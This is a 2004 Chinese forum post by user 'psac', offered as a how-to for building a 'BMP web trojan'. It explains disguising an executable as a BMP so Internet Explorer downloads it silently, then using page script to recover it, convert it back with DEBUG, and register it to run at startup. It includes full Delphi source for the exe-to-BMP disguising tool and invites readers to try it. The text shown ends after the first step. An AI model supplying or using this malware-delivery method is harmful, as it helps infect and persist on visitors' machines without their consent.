查看單個文章
舊 2004-10-23, 06:42 AM   #1
psac
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設 詳細解說製作MP網頁木馬

【簡 介】
  何謂BMP網頁木馬?它和過去早就用臭了的MIME頭漏洞的木馬不同,MIME木馬是把一個EXE文件用MIME編碼為一個EML(OUT LOOK郵件)文件,放到網頁上利用IE和OE的編碼漏洞實現自動下載和執行.

首先說明這不是什麼新的東西,但最近有人說我們沒有,那就隨便寫編文章放上來了,大家自己試驗一下. 何謂BMP網頁木馬?它和過去早就用臭了的MIME頭漏洞的木馬不同,MIME木馬是把一個EXE文件用MIME編碼為一個EML(OUT LOOK郵件)文件,放到網頁上利用IE和OE的編碼漏洞實現自動下載和執行.

  然而BMP木馬就不同,它把一個EXE文件偽裝成一個BMP圖片文件,欺騙IE自動下載,再利用網頁中的javascript指令碼搜尋客戶端的Internet臨時資料夾,找到下載後的BMP文件,把它拷貝到TEMP目錄.再編寫一個指令碼把找到的BMP文件用DEBUG還原成EXE,並把它放到註冊表啟動項中,在下一次開機時執行.但是這種技術只能在9X下發揮作用,對於2K,XP來說是無能為力了.

  看上去好像很複雜,下面我們一步一步來:
  1) EXE變BMP的方法.
  大家自己去查查BMP文件資料就會知道,BMP文件的文件頭有54個字元,簡單來說裡面包含了BMP文件的長寬,位數,文件大小,資料區長度,我們只要在EXE文件的文件頭前面增加相應的BMP文件頭(當然BMP文件頭裡面的資料要符合EXE文件的大小啦),這樣就可以欺騙IE下載該BMP文件,開始我們用JPG文件做過試驗,發現如果文件頭不正確的話,IE是不會下載的,轉換程式碼如下:

program exe2bmp;

uses
Windows,
SysUtils;

var len,row,col,fs: DWORD;
buffer: array[0..255]of char;
fd: WIN32_FIND_DATA;
h,hw: THandle;

begin
if (ParamStr(1)<>'') and(ParamStr(2)<>'') then begin //如果執行後沒有兩個參數則結束
if FileExists(ParamStr(1)) then begin
FindFirstFile(Pchar(ParamStr(1)),fd);
fs:=fd.nFileSizeLow;
col := 4;
while true do begin
if (fs mod 12)=0 then begin
len:=fs;
end else len:=fs+12-(fs mod 12);
row := len div col div 3;
if row>col then begin
col:=col+4;
end else Break;
end;
FillChar(buffer,256,0);
{一下為BMP文件頭資料}
Buffer[0]:='B';Buffer[1]:='M';
PDWORD(@buffer[18])^:=col;
PDWORD(@buffer[22])^:=row;
PDWORD(@buffer[34])^:=len;
PDWORD(@buffer[2])^:=len+54;
PDWORD(@buffer[10])^:=54;
PDWORD(@buffer[14])^:=40;
PWORD(@buffer[26])^:=1;
PWORD(@buffer[28])^:=24;
{寫入文件}
hw:=CreateFile(Pchar(ParamStr(2)),GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,CREATE_ALWAYS,0,0);
h:=CreateFile(Pchar(ParamStr(1)),GENERIC_READ,FILE_SHARE_READ or FILE_SHARE_WRITE,nil,OPEN_EXISTING,0,0);
WriteFile(hw,buffer,54,col,0);
repeat
ReadFile(h,buffer,256,col,0);
WriteFile(hw,buffer,col,col,0);
untilcol<>256;
WriteFile(hw,buffer,len-fs,col,0);
CloseHandle(h);
CloseHandle(hw);
end;
end;
end.


以上程式碼可以在DELPHI4,5,6中編譯 ,就可以得到一個exe2bmp.exe文件.大家開啟MSDOS方式,輸入
exe2bmp myexe.exe mybmp.bmp
Enter鍵就可以把第二個參數所指定的EXE文件轉換成BMP格式.
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次